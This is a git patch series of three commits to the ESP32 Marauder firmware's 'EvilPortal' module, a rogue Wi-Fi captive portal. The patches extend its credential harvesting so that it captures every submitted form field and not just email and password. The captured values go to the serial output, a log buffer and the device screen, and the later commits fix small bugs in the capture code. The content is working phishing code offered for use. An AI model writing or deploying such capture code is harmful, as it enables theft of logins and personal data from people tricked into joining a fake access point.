From df4557370c9a67c94628a3b82ba5f10403fa8490 Mon Sep 17 00:00:00 2001 From: "MACCHINA\\Harold Finch" Date: Tue, 2 Jan 2024 18:58:39 +0100 Subject: [PATCH 1/3] evil portal can manage more than two form field, logging every "name: value" from the form --- esp32_marauder/EvilPortal.cpp | 54 ++++++++++++----------------------- esp32_marauder/EvilPortal.h | 8 ++---- 2 files changed, 20 insertions(+), 42 deletions(-) diff --git a/esp32_marauder/EvilPortal.cpp b/esp32_marauder/EvilPortal.cpp index 778a1f926..30310eadd 100644 --- a/esp32_marauder/EvilPortal.cpp +++ b/esp32_marauder/EvilPortal.cpp @@ -7,8 +7,7 @@ EvilPortal::EvilPortal() { void EvilPortal::setup() { this->runServer = false; - this->name_received = false; - this->password_received = false; + this->something_received = false; this->has_html = false; this->has_ap = false; @@ -36,14 +35,6 @@ bool EvilPortal::begin(LinkedList* ssids, LinkedList* access_ return true; } -String EvilPortal::get_user_name() { - return this->user_name; -} - -String EvilPortal::get_password() { - return this->password; -} - void EvilPortal::setupServer() { server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) { request->send_P(200, "text/html", index_html); @@ -54,22 +45,14 @@ void EvilPortal::setupServer() { }); server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) { - String inputMessage; - String inputParam; - - if (request->hasParam("email")) { - inputMessage = request->getParam("email")->value(); - inputParam = "email"; - this->user_name = inputMessage; - this->name_received = true; + this->params_log = ""; + int params = request->params(); + for(int i=0; i < params; i++){ + AsyncWebParameter* p = request->getParam(i); + this->params_log += p->name + ": " + p->value; + this->something_received = true; } - if (request->hasParam("password")) { - inputMessage = request->getParam("password")->value(); - inputParam = "password"; - this->password = inputMessage; - this->password_received = true; - } request->send( 200, "text/html", ""); @@ -321,18 +304,17 @@ void EvilPortal::sendToDisplay(String msg) { void EvilPortal::main(uint8_t scan_mode) { if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){ this->dnsServer.processNextRequest(); - if (this->name_received && this->password_received) { - this->name_received = false; - this->password_received = false; - String logValue1 = - "u: " + this->user_name; - String logValue2 = "p: " + this->password; - String full_string = logValue1 + " " + logValue2 + "\n"; - Serial.print(full_string); - this->addLog(full_string, full_string.length()); - #ifdef HAS_SCREEN - this->sendToDisplay(full_string); - #endif + if (this->something_received) { + this->something_received = false; + + if (this->params_log.length) + this->params_log = this->params_log + "\n"; + Serial.print(this->params_log); + this->addLog(this->params_log, this->params_log.length()); + #ifdef HAS_SCREEN + this->sendToDisplay(this->params_log); + #endif + } } } } diff --git a/esp32_marauder/EvilPortal.h b/esp32_marauder/EvilPortal.h index 76d9444de..953088629 100644 --- a/esp32_marauder/EvilPortal.h +++ b/esp32_marauder/EvilPortal.h @@ -77,11 +77,9 @@ class EvilPortal { private: bool runServer; - bool name_received; - bool password_received; + bool something_received; - String user_name; - String password; + String params_log; bool has_html; bool has_ap; @@ -108,8 +106,6 @@ class EvilPortal { LinkedList* html_files; - String get_user_name(); - String get_password(); void setup(); void addLog(String log, int len); bool begin(LinkedList* ssids, LinkedList* access_points); From f886087fe84b886ba3122d8713501aebe47a5a8f Mon Sep 17 00:00:00 2001 From: "MACCHINA\\Harold Finch" Date: Tue, 2 Jan 2024 20:14:53 +0100 Subject: [PATCH 2/3] evil portal can manage more than two form field, logging every "name: value" from the form - fixed stupid error --- esp32_marauder/EvilPortal.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/esp32_marauder/EvilPortal.cpp b/esp32_marauder/EvilPortal.cpp index 30310eadd..821de4132 100644 --- a/esp32_marauder/EvilPortal.cpp +++ b/esp32_marauder/EvilPortal.cpp @@ -49,7 +49,7 @@ void EvilPortal::setupServer() { int params = request->params(); for(int i=0; i < params; i++){ AsyncWebParameter* p = request->getParam(i); - this->params_log += p->name + ": " + p->value; + this->params_log += p->name() + ": " + p->value(); this->something_received = true; } @@ -307,7 +307,7 @@ void EvilPortal::main(uint8_t scan_mode) { if (this->something_received) { this->something_received = false; - if (this->params_log.length) + if (this->params_log.length() > 0) this->params_log = this->params_log + "\n"; Serial.print(this->params_log); this->addLog(this->params_log, this->params_log.length()); From b7ee0719e981b9978dbc1864d5468e59e50c9222 Mon Sep 17 00:00:00 2001 From: "MACCHINA\\Harold Finch" Date: Fri, 9 Feb 2024 23:16:22 +0100 Subject: [PATCH 3/3] evil portal can manage more than two form field, logging every "name: value" from the form - fixed another stupid error --- esp32_marauder/EvilPortal.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/esp32_marauder/EvilPortal.cpp b/esp32_marauder/EvilPortal.cpp index 541624f06..c227d552e 100644 --- a/esp32_marauder/EvilPortal.cpp +++ b/esp32_marauder/EvilPortal.cpp @@ -268,7 +268,7 @@ void EvilPortal::main(uint8_t scan_mode) { if (this->something_received) { this->something_received = false; - if (this->params_log.length() > 0) + if (this->params_log.length() > 0) { this->params_log = this->params_log + "\n"; Serial.print(this->params_log); buffer_obj.append(this->params_log); @@ -278,4 +278,4 @@ void EvilPortal::main(uint8_t scan_mode) { } } } -} +} \ No newline at end of file